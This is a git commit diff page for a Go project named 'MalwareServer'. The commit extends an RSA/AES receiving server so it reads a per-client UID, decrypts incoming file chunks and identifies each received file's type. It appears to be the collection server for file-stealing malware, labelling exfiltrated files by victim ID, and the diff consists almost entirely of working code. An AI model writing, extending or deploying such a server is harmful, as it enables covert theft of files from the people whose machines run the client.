Make server get filetype and identify file
This commit is contained in:
parent
721b4b5ddc
commit
7197c347ea
2
go.mod
2
go.mod
@ -1,3 +1,5 @@
|
||||
module MalwareServer
|
||||
|
||||
go 1.22.2
|
||||
|
||||
require github.com/liamg/magic v0.0.1 // indirect
|
||||
|
24
rsaserver.go
24
rsaserver.go
@ -13,6 +13,7 @@ import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"github.com/liamg/magic"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@ -65,6 +66,10 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
|
||||
iv, _ := decryptKeyIV(ivData,privateKey)
|
||||
conn.Write([]byte("Received IV\n"))
|
||||
|
||||
uidData, _ := bufio.NewReader(conn).ReadString('\n')
|
||||
uid, _ := decryptKeyIV(uidData,privateKey)
|
||||
conn.Write([]byte("Received UID\n"))
|
||||
|
||||
var ciphertext []byte
|
||||
var chunk string
|
||||
var plaintext []byte
|
||||
@ -91,7 +96,7 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
|
||||
conn.Write([]byte("Received and decrypted chunk\n"))
|
||||
}
|
||||
|
||||
fmt.Println("Decrypted text:", string(plaintext))
|
||||
handleDecrypted(plaintext, uid)
|
||||
conn.Write([]byte("Ready for next operation\n"))
|
||||
}
|
||||
|
||||
@ -171,4 +176,19 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
|
||||
}
|
||||
decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
|
||||
return decodedKey, err
|
||||
}
|
||||
}
|
||||
|
||||
func handleDecrypted(decryptedDataB []byte, uidB []byte){
|
||||
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
|
||||
fileType, err := magic.Lookup(data)
|
||||
if err != nil {
|
||||
if err == magic.ErrUnknown {
|
||||
fmt.Println("File type is unknown")
|
||||
}else{
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
fmt.Printf("UID: %s\n", string(uidB))
|
||||
fmt.Printf("File extension: %s\n", fileType.Extension)
|
||||
fmt.Printf("File type description: %s\n", fileType.Description)
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user